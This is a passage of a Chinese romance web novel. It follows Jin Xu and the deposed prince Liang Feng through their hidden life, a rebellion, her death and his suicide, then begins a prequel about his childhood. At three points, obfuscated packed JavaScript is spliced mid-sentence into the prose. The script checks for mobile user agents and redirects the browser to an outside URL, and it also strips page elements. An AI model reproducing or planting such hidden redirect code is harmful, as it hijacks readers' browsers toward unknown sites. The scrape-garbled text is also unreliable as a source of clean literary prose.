她一怔,好像有了盼头,笑了一下,告诉老李:“他不是王爷了,不用再这么称呼他。” 老李一揖,“是。” 这一路颠沛,难得吃好睡好,李婶仔细照料她的饮食,每送来什么金絮全数吃下,只希望暗卫偶有消息可以见缝传递给他时能告诉他一切都好。 可直到六月过半,梁风半点消息都无。 她有时趴桌上醒来,忽然感觉一个虚虚的怀抱,好像有只手熟练地环住她的腰,可一转头,又什么都没有。每夜只能捏着他系在她手腕上的那个平安符纸入睡。 李婶和小缃经常陪着她,看她吃饭,看她睡觉,她总是整日什么都不做。 天气逐渐炎热,偶尔夏雨,她坐在屋子门口看着阴沉的天空,突然开口道:“一个多月了......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她感觉自己发了烧,睡了一觉,醒来见到他的双眼,一个多月的时间仿佛成了一瞬,这只是她期期艾艾的睁眼就见到他的一个普通清晨。 “阿絮,你睡了三日。” 梁风拿她的手摸他的脸,“阿絮,你生病了。” “阿絮,这一个多月你没有把自己照顾好......” 她慢慢从初醒后的茫然中恢复过来,抬起的指尖想掐但无力,只能揉捏他的脸颊,“你骗我......” 梁风唤来李婶,然后伏在她床头,贴她的脸,轻声道:“我怎么骗你了?” “你跟他们说......你会留信号......你没留......” 他眼中涌出一点泪,亲她一下,“对不起......” 李婶进来为她把脉,道:“老爷,夫人已经无大碍了,之后每日喝药调理便能痊愈。” 金絮看着他,问:“你呢?” 梁风也只看着她,“我没事,我一点事都没有。” 李婶笑道:“是啊,夫人,老爷连点擦伤磕碰都没有。” 金絮轻轻道:“那我也很快就好了,你别担心。” 他一笑,“嗯。” “你以后,再有危险,要同我说,”她喘了一喘,“要早同我说。” “好。”梁风附耳轻声道:“往后,我再不令你忧心。” 金絮没说话,看着他,眼泪横过鼻梁。 喝了药后又睡了一觉,再次醒来精神头好了许多,能坐起来了,屋子外天也黑了。 梁风始终守在她床边,寸步不离,喂她喝下一碗稀粥,金絮肚里暖起来,有了力气,眼泪便控制不住了。 梁风环臂拥住她,“真是,有了一点力气就哭。” “你又不与我说,什么都自己安排。”金絮气得打他,“你知不知道我有多担心。” “我知道。”梁风轻拍她后背,助她顺气,“怕你太过担心,我希望给你一个无憾的婚礼。” 她还是气,“可这婚礼仍旧满是缺憾。” 真要说她从这些俗礼中得到了什么,也就是下人们在成婚当天叫了她几声“王妃”。 可是叫完然后呢,没多的了。 而且,这场婚礼因她亲属不全,梁风也即将革去王位,她这个王妃甚至没有去拜见君王,礼数根本不全,不能算是他真正想办成的婚礼。 否则他至于这么急着要在新婚当夜将她送出京城? 金絮更用力地捶他,“我需要那些俗礼?我要的是你平安。” 她体力未完全恢复,知道打得他不痛,于是更加用力,眼泪彻底糊脸,梁风一边为她拭泪一边任由她打。 可是,打着打着,又想到她终归要等他这一个多月的,即便他事先把一切计划告诉她,她也仍然要为他忧心这一个多月。 “阿絮,你莫动怒,身子还没养好。” 金絮抱住他,放声大哭,哭得一切听不进去,哭得脱力。 眼泪也一泄对昏君的怨恨。 以后,他只有老李这另外半个父亲了。 79. 笼锁(三) “阿絮,别哭了。”梁风一下一下帮她顺气,下巴摩擦她的发顶,轻声着:“我相信我能平安回来找你。” 金絮抽着气瞪他。梁风扶她躺下去,给她掖好被子,也躺在了她旁边。 他神色倦意很浓,说话时咽喉都带气音,想来这几日定是衣不解带地照顾她,他。金絮抚过他眼下发皱的青黑,察觉他眼睛里有一抹郁色。 梁风贴近,与她勾连呼吸,“阿絮,我若没有平安回来,你会如何?” 金絮想也没想说道:“我会去把皇帝杀了。” 他眼神骤然变深,凝视她,像是想抓住什么,金絮看见他眼中抓向瞳眸的血丝。 不知想了什么,他气息微敛,抵住她的鼻尖,“这条路太险,不能走。你要带着银子,找个安稳的地方嫁人。” 察觉他情绪异常,似乎即将崩溃,金絮抱住了他。 “荆风死了......” 她登时反应过来,昏睡的这几日,梁风心里一直憋着这事。 先帝赐给他的荆风——他与另一位兄长的唯一联系,没了。 梁风低头往她怀里靠,紧紧攥着她的手。 “我没能带回它的尸体,还有我的几个暗卫,都死了,他们很多都还未娶妻.........” 金絮无力安慰他,任他发泄情绪。 她体力还未恢复过来,抱得时间长了,两人之间气温太高,又热又湿,闷得慌,她有气无力,还是不停安抚他,希望分担他的痛苦,又怕把病气过给了他。 “阿絮,我们要活着。” 金絮不说话。梁风扯着她的手让她回应:“你要快些好起来。” 她只好点头,“嗯......” 这病断断续续养了一个月。 金絮整日里喝补汤,被他照顾得胖了不止一圈。 病愈后犯懒,梁风便总拉她出去散步发汗。慢慢看遍了山谷里的夕阳。 “这个地方,不会有登山人寻到这里吗?” “不会。林子很密,寻常登山人一般不会认为这山里居然住着人家。而且,我们就住几个月,避了风头后再搬去郡县里住。” “这样啊。”金絮再认认真真地仔细看山中每一处于细微的地方,“那起个名字吧——就叫郊山和外离谷吧。” 梁风笑,“好。” 她看着他道:“这个地方,你早准备好了?” “嗯。即便不罢去王位,我也不会和你住在京城,去年跟你回到太南时我就有心准备这处住所,不然我不会让你等我。看看有什么要添置的,我让人去城里买。” 梁风安排得已经细致入微,完全没有缺漏之处,只是家里饰物较少、书物较少,养不了花鸟鱼池,但林间天然景致本就不需要装饰。 金絮看着梁风,梁风也低头回望她,相对的视线中有不言而喻的默契。 第二日过午,她醒来浑身酸疼,陷在被窝里起不来,无奈看梁风独自一人神清气爽。 他开门进来,端着午饭,一口口喂她。 “阿絮。” “嗯?” “你昨晚唤了我‘阿叶’。” 她张嘴的动作一顿,有些意外地看了他一眼,或是意外地看了自己一眼,“真的?” 梁风笑得很开心,“真的,唤了我好久呢。” 金絮低头看手指扣着被子的纹理。 梁风离开房间,她钻进被子里,棉被替她捂住通红的脸颊。 造宽的窗户外面是天际,清透的阳光斜照进来时,也带来了草叶与树木的微香。她闭目躺着静静感受—— 从前只敢用笔在纸面上驰骋的幻想,此刻也敢落实到鸡零狗碎中了。 没有清晨的鸡鸣,没有街道上蒸包子的湿气,没有人烟,没有车轱辘,没有宵禁,没有打更人,没有城防军,没有饿殍,没有劫舍,更没有昏君的注视。有的只是山泉水的叮咚,有树叶沙沙,有蚊虫蚁兽,有清晰的日出夕阳,有八面微风,有野花香气,有梁风。 她意识到肖想多年的隐居生活开始了。 悠闲下来,梁风生了精力,加固屋子的同时在林子里各处装了锻炼身法与武艺的机关,用以训练他的暗卫们,要居安思危,不能懈怠长膘。 而他自己似乎变得有些放纵了,是卸下重担后浑身轻松的模样。 金絮时常看见他歇息时,躺坐山崖,遥望云端,以阳光为被,浑身上下很有点与世无争。 没出几月,原本只宽了一指,在他躲毕刺杀后宽了两指的腰带也变得不宽了,将将够他在腰上系个一圈。 金絮说他这样刚刚好,梁风自己也这么觉得。 于是,在他看似严厉实则懒散的作风下,居安思危流于形式,那些锻炼身法与武艺的东西逐渐变成了他和暗卫们胡闹玩耍的机关,那些绳索与吊钩,玩法每每让金絮胆战心惊和瞠目结舌。 他仿佛重拾童趣,身影跳跃于山野树梢间,与十三他们互相投射石子切磋,还要躲避突然从某处撞过来的木锤和绳网,规定谁先掉落地面谁就输了。 金絮没他那么闹腾,她偶尔山水煮茶,听小鸟吵架,偶尔弄草莳花,吃酒作画。只是画难看,花难活,懊恼之下,慢慢被他带得也开始锻炼身体。 她虽不兴夹在一堆男人间蹦蹦跳跳,却也喜欢遨游在这山林野趣之中,梁风带着她一边各处探索一边开辟山路,找寻喧嚣之外的幽密风光。 直到阅遍山色,外世有关安分王的谣传渐歇,梁风跟她提议出山。 避世数月后,初初再踏郡城,差点被这满目繁华惊了眼。 彩灯之下群人磨肩撞踵,身处其间,山林的野雾清香仿佛永远也不可能盖过这熏天的人气。她像是话本子里妖精修成人形入世一般,看什么都忍不住感叹。可红艳的俗世灰尘沾满衣摆,市井中哟喝咧骂附耳悄悄告诉她:山林野趣的逍遥才是真正值得新奇的。 但热闹有热闹的好处,邻里的往来关系让整个人都变得鲜活了。 梁风在上元县里也早准备好了宅子,这一年里,房子转了两手,房契上的名字已洗得和安分王八竿子打不着。他改了姓氏,没改名,金絮多数时候也不连着姓氏唤他。 谁都不知道,这小小县城小小巷子里住着一个洗去铅华的王爷。 县城里住了不久,又觉小,跑去上元郡游玩了几月。 直到直到—— 在郡城里玩了四个月后,原本足足十整箱的金银,没了两箱。 梁风目瞪口呆地震惊,讷讷看着两只空箱子,久久无言。 半晌,才抬头看向她,一脸纠结和无辜,“怎么办?” 两个空洞的箱子仿佛他的眼,金絮一笑,饶有趣味地观赏他这副表情。 之前住山里,花费的地方少,让他对这十来箱金银没什么概念,进了郡城,有了花钱的地方,从前大手大脚的贵人毛病被激得患了起来。 日常开销在她和老李的管控下还算符合他们现在的身份地位,可一旦经了他的手,银子仿佛变成了流水。 箱子里都是整银,不是碎银,更没有铜板。他每每结账时,总习惯把整锭的银子向掌柜一撂,接着说一句不用找零,然后潇洒离去。仿佛找个零钱的功夫会让他得多大疾病一样。 金絮怀疑他这毛病是跟话本子里的豪侠学来的。 还有,在王府里他还不怎么管她的穿衣,如今不是贵人了,他反而爱给她买华服华饰,金絮拒了好几次,才央得他不再买置。 还有还有,跟邻里间的往来人情礼,他仍旧保持着做贵人时的观念——贵的,尤其是新奇的东西才是好的,才是拿得出手的。 家中记账的是李晟,住了三个月之后,老李拿着账本来找过她,希望她吹吹枕边风,让梁风节制一些。 金絮只翻了翻账本,没说话。 一直到眼下,梁风自己不知怎么灵光一闪,想起家里还有个叫账本的东西,这才发现自己手指头缝原来有这么宽。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839814|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“要缩减缩减么?”他一脸如临大敌,全然担忧的模样。 金絮只笑,摸摸他的脸,在他颊上亲一口。 “不用。”她道:“这两箱银子里,刨去家里必要的日常开销,仅算你一人,流出去的水倒也没那么多。” 主要是他不习惯。他生活上很多事情都不能将就。 比如喝茶。他喝不惯粗茶,稍劣一点的茶叶都不行,他说喝起来像细沙,爬嗓子,宁愿喝白水。只是住在外离谷时,山泉颇有滋味,喝白水倒也可,但郡城里的白水就入不得口了。金絮只得给他买好茶叶。 其余糕点膳食方面也是,尤其吃酒和鱼。他不喜大饮,喜欢小酌,每隔几日就拉着她邀月共饮。这微醺不烈的酒可不便宜。还有鱼肉,他喜欢鱼肉的原汁原味,却不能接受常见鱼类的原汁原味,非要那些罕见的。 金絮是没想到,他那根舌头仿佛有自己的思想。 再比如穿衣。住山里时,他总是松松垮垮地系着外袍,一热起来直接脱掉,金絮屡说不听,只能不再多管。逍遥的日子过得久了,衣服都嫌太过红尘。可是那娇弱的绸缎十分容易被树枝划破,仅算他一人在山中的那些时日就不知换了多少身衣裳。 金絮试过给他穿棉麻衣服,结果只穿了一日,他肩头、颈部和胸膛就被那割人的麻布给磨红了。 梁风发现后十分惊诧且不满,不满自己这娇气的模样,之后时常找暗卫对打,希望自己能糙一点。金絮却觉得他已经不再耐糙了,便给他的里衣用丝绸,外衣用稍粗一点的料子。 只是入了郡城后,他这外表粗衣,一挥手却能掷出一锭银子不用找的作派就显得十分违和了,金絮便又让他穿回了整套绸衣。 还有他的头发,被养了几年顺滑分明的青丝,她可不想毁在了她手里。 “我说了呀,由奢入俭,没那么容易的。” 她环住他的脖子,亲他的唇,梁风扶着她的腰。入窗的夕阳推出两道重合的身影。 她笑道:“要开始赚银子了。” 金絮很早就盯准了一条商道,贾镇被困在并阳郡后空出来的,是许多行商必经的重要关口。原本被贾镇独自霸占,用以交流各地往来行商之间货物买卖的信息。 上月,长泽以南的陈姓巨富欲高价收购西域丝,她打听到消息后,散布了一个假传言,将这个巨富的收购期限提前了一月,并且变动了地点。 假消息传出去自然没多少人信,但滞住了大部分将丝送往长泽以南的商队行进,然后让梁风的暗卫假扮成陈姓巨富,出现在假地点,并给出两箱金银表示自己是真的收丝,再半信半疑的人也多数中计,被她调虎离山。然后扭头,从从容容地将收购的新丝运往长泽以南。 前后用了三个多月,耗费两箱银子,累得暗卫两头跑,而赚来的银子不光填满了五口空箱,还额外多了三箱。 金絮拨着算盘,账面整洁后,她打趣道:“照目前的情况看,你还可以更挥霍一些。” 梁风脸色却并不甚喜悦,“可你这几月里,陪我的时间少了很多。” 她一愣,梁风把账本拿开,将算盘归位,指着算珠不满道:“你自己算算,这几月里你陪我的时间加起来有半个月么?” 他声音带了恼和怨,金絮一想也是,之前整日整日地陪着他,这突然分开容易适应不了。 “可是怎么办呢?我一日只有十二个时辰。” “那就不用赚那么多银子,我要那么多银子做什么?我这几月已经很节制了,也会让找银子了,不信你去问老李。”梁风拨拉算盘,证明给她看。 “好好,我知道的。”金絮抚抚他的发顶顺毛,“本来这种也只是临时赚急用钱的方法,毁经商信誉,不好多用。之后我尽量细水长流又不耗费时间地赚些小银子好么?” “嗯。”他煞有介事地一点头,揽臂抱住她,俯身靠着她肩头道:“主要是你会太累。” “不累。”金絮亲亲他,“给你赚钱怎么会累。” 80. 笼锁(四) 这日午后,她趴在梁风怀里悠悠转醒。 亭下秋风不燥,竹制躺椅铺了一层绒毯,又硬又软。她仰头看了看梁风,梁风一手抱她,微微眯眼看着亭檐外的天景,十分舒适的样子。他手边的小几上放着一壶清酒和两只酒杯,她伸手掂掂那酒,喝了半壶了。 察觉她醒了,梁风捻指搂紧她腰,握她另一只手,亲亲她的发顶。 “阿风,我想让十三帮我送一封信去太南。” “给你那些小姑娘吗?” “嗯。” 近几年内,离京城近的地方都不能去了,太多人认识他。 初革位这一年里,梁风身份过于敏感,金絮不敢联系柔竹她们,怕留下痕迹,朝廷查的话会追查到她们。一直到现在,安分王的名号很少被人提及了,她才想着托十三亲自去一趟。 “那便去吧,十三一个人去的话也不惹眼。” 她一弯眼,亲亲他,笑着抱住他的腰,隔着衣料摸到薄薄的腰茧,“阿风,我想好做什么生意了。” “做什么?” “我们卖酒吧。” 他想也不想道:“都行。你想做什么便去做,只是我怕你会太累。” “不会累啊,反正平日闲着也是闲着。那便说好了,我和老李商量去。” 她想把日子过得稳定下来,也不指望这酒铺能赚大钱,做生意赚银子只是过日子的必要支撑,总不能坐吃山空,那十几箱银子总有见底的时候。 年底,她雇人酿了新酒陈着,再买了一批陈酒,有清的有烈的,试着卖卖。铺子开张后她和梁风一同分出了部分精力看顾。老李似乎挺开怀的,因为有了事情可做。 新开的酒铺无名,她也没有祖传的酿酒之术,酿不出不怕巷子深的好酒来,生意并没有很红火,只偶有几人上门,选个一两坛。 这正合梁风心意,每过几个月就会关了铺子,带她去不远的地方游玩一番,日子过得充实又不忙禄。 然而然而—— 就在她新酿的酒还没陈出味儿时,南边起了造反军。 农民被饿得干枯瘦黄的手举起了旗帜,镰刀铁锹纷纷直指上天。他们为自己发声的嘴喋喋不休,试图颠覆世间不公。 一朝呐喊,得百应。 官府立即派兵镇压,部分被策反,部分被杀,兵油子的手脚甚至敌不过弯躬屈膝手中只有锄头的叛民。 造反声势越来越大,从几十人壮大到上千人,梁风急忙抛弃多数身家,轻装上路,北上避战。可在这时,金絮有了孕。 他遂放慢脚步,一路避战只求稳妥。 叛民逐渐成势,向北紧逼。很快,中原各地豪雄并起,官府再难压制。大周官军发兵三路横扫,叛民遭戮大半,死伤惨重,哀嚎遍野。 层层叠叠的嚎泣声中,躲在东北的金絮平安生下了孩子,是个女儿。 产后,金絮的情绪一度极不稳定,梁风耐心安哄了数日,才渐渐得以平复。 可哀嚎声并没能阻止叛民的奋起,反而带来更为强烈的不甘与怨恨,被逼到绝路的他们誓用漂橹的鲜血将这王朝推向末路的深渊。 女儿两岁时,西北至南三方造反军原本对峙之势被最初起自南方的袁姓头领打破,袁军一战大周官军而胜,剑尖直逼京城。大周皇室岌岌可危,一退再退地苦苦支撑那最后一亩三分地。 一个和风镇定的午后,金絮听见动静,抱着孩子走出门外,只见数十人俯首跪地叩拜梁风,而他指端,捏着一道黄澄澄的圣旨。 梁风望着她的眼中,充满两难的挣扎与不安。 累死了数匹战马与士兵,只为了将求援的圣旨交到他手中。 请他出山——在金絮意料之内,正如她娘亲所说:皇权之下,躲多远都是无用的。她从未想过,他们真的逃出了皇帝的监控。 “阿风。” 她站在漂泊无定的和风中,怀里孩子的笑脸与她一般无二。 “不管你做出什么选择,我都能理解你。”金絮一如这几年的温柔与爱意抚摸他的脸,只希望这最后一事能顺他心意。 他走了。 大周曾经的少年将军在解甲数载后重新披 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839815|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂上阵。金絮望着他离去的背影。久久望着。 这一等,等了一年。 女儿不觉长到她腿高,金絮时常遥望他离开的方向,听着女儿不住地念叨着父亲。 直到十三送来信件,她才知,原来梁风终是没有背弃他的皇兄,站在了农民军的对立面。 十几年的郁结在这一刻尽数喷出,浓厚的鲜血吐了满纸,她的希冀耗尽。晕倒前一刻,她甚至无心关注战事结果,只惦记着,终究还是没能再见他一面。 回想他临走时眼中的不安,还在担心他背对皇城,刀指袁军时,刀尖是否跟着心神一起摇摆不定。她只是不想梁风也如她这般,煎熬半生。 金絮连烧三天,滴汗未出,于第四日清晨,挣开晶亮的眼,向守在床头的小缃要了那支一直被她锁在锦盒里舍不得戴的及笈簪。掌心里触到那冰凉的翠玉簪子,病中的她无力握紧,更无力抬起手看一眼。弥留之际,脑海中浮现的却不是他当时小心翼翼想把簪子赠给她的模样,而是那一年—— 那一年,她立于温柔馆阁楼,凭栏眺望,满楼红袖招,京城民众欢呼簇拥着带来一方安稳的大将军凯旋。 那一身白铠,耀过了阳光。 她的大将军向她望来的这一眼,这隔着兵荒马乱与上京繁华的一眼,融进了她的一生。 这一生,若要说断,真该断在遇见他之前。那时她虽小,却无忧无虑,日子过得安稳快乐。可若此生不遇见他,她甚至无法拥有这最后几年的幸福,更无法知道这世间真实的一面到底是怎样。 最后一点握住的东西也从她手中流失,这次没有人能够喊醒她。 怀孕时,他那一声声“不”强拉她在这世间多活了三年,往后再难以支撑,终于撒手人寰。 她早能看见自己这后半生,选了个不好不坏的结局。她从未后悔过。 她躺在床榻上,最后一刻还是闭上了眼。小缃伏在她床头痛哭。 直到梁风一身狼狈赶来。 看见她时,一口呼吸还未落下,梁风拔刀自刎。 留一女。 81. 《红叶书》(一) 梁风从小就知道自己是个不受宠的皇子。 元和十一年,他出生在未央宫平就殿。 据母亲说,他满月时,父皇曾抱过他,抱了半炷香。然后母亲由宫女升为八子,住所也迁至含章殿。 而那也是他距离父皇最近的一次。 邓八子很为此沾沾自喜,经常告诉他,要多在父皇跟前走动,若得了圣宠,就要什么有什么了。 可她第一次说这话时,梁风才一岁,听不懂。 出生头两年,邓八子日日陪着他,生怕他夭折。梁风不负她所望,活了下来,并且很快学会走路,学会模仿她说话,邓八子更高兴了,于是把他交给身边的小凳小石。小凳小石整日和他在空旷的含章殿里跑跑跳跳,过一天忘一天,无忧无虑地度过了幼儿时期。 有一日,邓八子带他出了含章殿,去到某个地方,跟他指着远处一扇门户道:“儿啊,你先自己去那个院子里玩,母后过一会就去找你。” 梁风仰头睁着溜圆的小眼睛看着她,没有动。 “快去啊,听话。”邓八子微微皱了眉,推搡他,“回去后我给你做糖吃。” 梁风便揣着小手,小短腿踢着宽松的衣摆,蹬蹬蹬跑进了那户院子里。 一进去就有人围了上来,好几个,拦了他的去路。梁风抬头看,有些不知所措。但这些人看他的眼神并未让他感到恶意,他于是穿过这些人的小腿缝,跑得更里面去了。身后有人呼喊,他也不听,见屋子内亮闪闪的,便直往里面去。 勉强跨过台阶与门槛,进去后却只敢攥着手指呆愣愣站着,目光直望向屋央一位横卧榻上的美妇人。 美妇人穿的衣裳他在母亲身上没见过,晶亮晶亮的,实在很吸引他的注意。 美妇人朝他走来,梁风只看得见她黑洞洞的鼻孔。更多人围了上来,梁风感到压迫,他表情变了,可是一低头,小腿缝却被衣服堵实了。 “风儿!风儿!” 清晰听见母亲在呼唤他,梁风立刻冲出人圈,朝母亲奔去。 “真不听话!谁让你跑进这儿来的!” 邓八子怒斥道,抱起了他,却是笑着跟那一堆人说了什么,然后告诉他那美妇人是谁,梁风学语地唤了一声,唤完就忘了,只管依偎在母亲怀里。 邓八子很快抱着他走了,梁风越过她肩头,看见那一大群人簇拥着美妇人,隆重地返回屋里。 三岁的他小脑袋里模模糊糊形成了一个疑问,为什么含章殿里的人这么少,只有他和母亲还有小凳小石四个人,而这个地方却有那么多人,多得让他感觉那些黑洞洞的鼻孔可以把天空铺黑。 母亲却始终都是那句话,让他多在父皇跟前晃,要比其他几位兄长都厉害,父皇多看他几眼,他院子里就能多几个人。令梁风一度以为“父皇”是个可以变出人来的东西。 这之后,梁风时常偷偷溜出含章殿,到处乱跑让自己迷路,有时夜深了被小凳小石找回,有时被母亲找回。他玩得挺开心,见到了许多亮闪闪的人。 有一次又走丢了,小小的他也知道不能跑得太远让母亲找不到,迷失在含章殿附近的一小片园子里,绕来绕去在一座假山后面发现有两个人在说话,他听了一会,只记住了四个字。母亲找到他牵他回家时,跟母亲重复了这四个字。 “夫法三接?什么东西?你别胡乱听些有的没的,母后教不了你。” 他眨眼就把这四个字全忘了。 元和十五年,皇帝病重,太子梁究监国。 这天一大早,梁风被母亲叫醒,迷迷瞪瞪随着她走了好久的路,到了一处大殿外围。 四周很空旷,他努力睁圆小眼睛想把那大殿全部看进眼中,金色的,特别好看。 母亲告诉他,那巨大的屋子里面住着父皇,而父皇此刻正等着他进去。 她说,父皇也想见到他。 于是,对那间巨大的屋子,梁风第一次产生了完整的疑问,和能留在他印象里的好奇。 可他到底没能进到那间屋子,见到他的父皇。一个他同样需要唤为母后的女人叫住了他和母亲,说什么“年纪小,无需侍疾”之类,母亲便又带他回到了含章殿。 邓八子关上房门,立刻变了脸色。小凳进来牵他出去玩。 “死虔婆!老皇帝都要死了,还那么守着他!” 梁风被小凳带着玩沙子,树下的粗砂、树上的果实填满了他全部的注意力。 又睡了几觉,醒来看见母亲在和小凳小石说话。他坐到案几边,喝些汤汤水水。 “二皇子跟太子作对?为什么?”母亲的声音:“老皇帝一死,肯定是太子继位,二皇子还想做什么?” 前几日,太子下旨二皇子梁戟带兵镇压边境,抵抗匈奴,二皇子拒绝接旨,称欲为皇帝侍疾,薄尽孝心。 说的话他听不懂,汤汤水水也吃不出好坏,吃完了梁风又去与沙子、树叶嘻戏。 再睡了两日,母亲一早醒来,突然开始收拾行李,说要搬家。 梁风想着,那些沙子、树叶要不要一起带走。 邓八子一边挑衣服一边念:“狗皇帝!他娘的挑这个时候发病,要死怎么不早几年就死了!” 小石在屋外远远说了什么,邓八子拔高声音喊了回去。 旁边梁风听见了,跟着学了一句:“他娘的......” 邓八子猛地回头看他,还伸手打他。梁风不明所以,哭了。 他长大后才知道,这天之所以搬家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839816|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是因为太子下旨以“年岁渐长不易久居宫内”为由,令所有皇子无论成年与否全部分府出宫,包括年仅四岁的梁风。 梁风抹着眼泪,没有不舍地离开了空旷的含章殿,离开了未央宫,住进了宫外一处偏僻窄旧的院落里,走的时候没有带走他的沙子、树叶。 新院子虽小,却刚好住得下他和母亲两人。 他感觉不出生活有什么不同,唯独发现玩伴多了起来。 除开多了许多形状丰富的沙子树叶,他还能听闻吵闹的声音和各色的气味。围墙矮了,看见的天空更大了。 身边的人少了,却也多了。他看不见小凳和小石。没有人时不时牵着他出去玩了。 他念了一下小凳的名字。母亲突然变了脸色,“别给我提那两个烂货!” 发现母亲不知为什么突然变得不喜欢小凳小石,他懵懵地没有说话。 “他们懂什么,你可是皇子!将来锦衣玉食,无上荣华的人!白瞎了我这几年养他们的钱!” 梁风感觉母亲的脸皱了起来,他摸摸母亲的脸,想安抚母亲的情绪。 邓八子笑了一笑,双手抱住他,抚摸他的头顶,“没事儿,儿啊,咱继承不了大统,咱还能做王。” 梁风笑道:“大桶,洗澡!” 之后母亲经常带着他出门,他见到了住在附近与他年龄相仿的小朋友,很快玩到了一处。玩久了后,母亲再偶尔出门,就会把他留在邻居家里。梁风哭了两次,然后就没有哭了,继续和小朋友们玩耍。 除了那座他没有进去过的巨大屋子外,留在他幼儿时期印象里的第二个画面,是母亲生的一次气。 那天,他在邻居家一位大他两岁的兄长嘴中听见了一句“子曰”。听得多了,他就学会了重复。 “子曰。” “子曰......” 母亲来带他回家时,他还在重复。 “阿娘,子曰......” 关上房门,母亲立刻变了脸色,挥手重重地打了他。 “什么阿娘!你要叫我母后!你是皇子!” 梁风哭了,抱着自己被打疼的地方,哭得很大声。他只知道邻居家的小孩都是这么唤自己的母亲。 “知不知道!你是皇子,你跟那些人不一样!你跟那些庸俗不一样!” 梁风哭得只听得见自己的哭声。 母亲又突然抱住他,手扣着他的后脑勺紧紧贴在怀里。 “风儿啊,咱以后是要做王的,是要受人尊敬的,咱不跟他们学,啊?” 他记住了这个拥抱,可他实在不懂,自己和那些小朋友的区别到底在哪。反而因为母亲不断的重复与强调,他早早知道了自己与普通皇子的区别在哪。 82. 《红叶书》(二) 元和十六年,皇帝驾崩,谥号恒。太子梁究继位,改年号为太和。 梁风仿佛被人遗忘了。 二皇子梁戟得封淮南王,封王的圣旨下来时梁戟称为先皇守孝,拒绝离京赴藩地。 梁风仍旧与巷陌为伴。 只是他明显感觉母亲脸色变差了,易怒。 邓氏出门的次数越来越多,有时天黑了都不见她回来,有时她忘了把梁风交给邻居,有时梁风的哭声引起邻居的注意,然后他才能吃到一口饭。 几次之后,邓氏再出门就会记得给院子落锁,防止梁风偷偷跑出去找她迷路,并在家里备好他能喝的稀粥。 空旷漆黑的屋子里充满他的回声,是留在梁风脑海里的第三个画面。 太和元年,梁风六岁。 一天母亲回家,笑容满面地开始打扮自己,还给他穿上了最干净的衣服。 “风儿啊,母后终于盼出头了!” “风儿,你还记不记得你二哥?去年圣上亲封的淮南王,待会母后带你去见你二哥,你可要好好表现。母后可是费了许久的力才搭上淮南王的人,你若表现得好了,母后再求一求,淮南王说不准会给你安排教书夫子。” “风儿,你可一定记得,想要什么都得靠自己争来。” 梁风懵懵懂懂,随着母亲去到了淮南王府。 他只知道这屋子大了许多,人也很多,令他有些怯怯。直到进了某处房间,他一眼看见屋央站着的一名男子。 母亲拉着梁风行礼,男子低头便瞧见了他。 梁风莫名感觉亲切,松开了母亲的衣裙,不怯了,定定看着眼前一身漆黑的男子。 “我原来还有个这么小的弟弟?” 梁戟笑着走近,蹲下身,看着梁风道,眼中颇为惊喜。 梁风几乎能与梁戟平视,唤了一声“二哥”。 这是他第一次见生人时首先注意到的是对方的眼睛,而不是鼻孔。 这位大他十七岁的兄长,是他除母亲外,第二个说上话的亲人。 梁戟笑一下,摸了摸他的头顶,牵着他走了。 梁风回头用眼睛找母亲,看见母亲对他鼓励地笑。 二哥给他吃了好多好吃的东西,给他换了身新衣服,还带他去到一个宽敞的院子,告诉他,这里就是他和邓氏以后住的地方了。他身边多了许多人陪他玩耍,梁风很开心,对新环境融入得很快。 只是他能明显地感觉到,多出的这些人,跟之前的邻居不太一样,一口一个“殿下”地唤着他,看似与他亲近,又与他隔得远。 不过,母亲变得开心了。 初进王府的几日,梁戟带着他在府中四处游逛,见各种人,有的人会看他,有的人不会看他,往往一天下来,他一个人也没记住。 走得累了,梁戟就会抱起他。坐在二哥的臂弯,视野比被母亲抱着更高,二哥的肩臂更厚实有力,令他安心。 “阿风,你不怕生呢。” 梁戟笑着同他说。他看着二哥离得十分近的眼睛,心跳变快,忽然有种奇异的感觉,恍惚意识到身上有个地方被肯定了是个非常值得欢喜的事情。 “阿风,这是我的长子,名与丕,也是你的侄儿。” 一堆人拥着一个身量与他相仿的男孩过来。 “丕儿,叫皇叔。” 梁与丕有模有样地朝梁风行了个礼,“皇叔。” 梁风一瞬不瞬地看着,不知道说什么。 “阿风,丕儿和你同岁呢。”梁戟笑道。 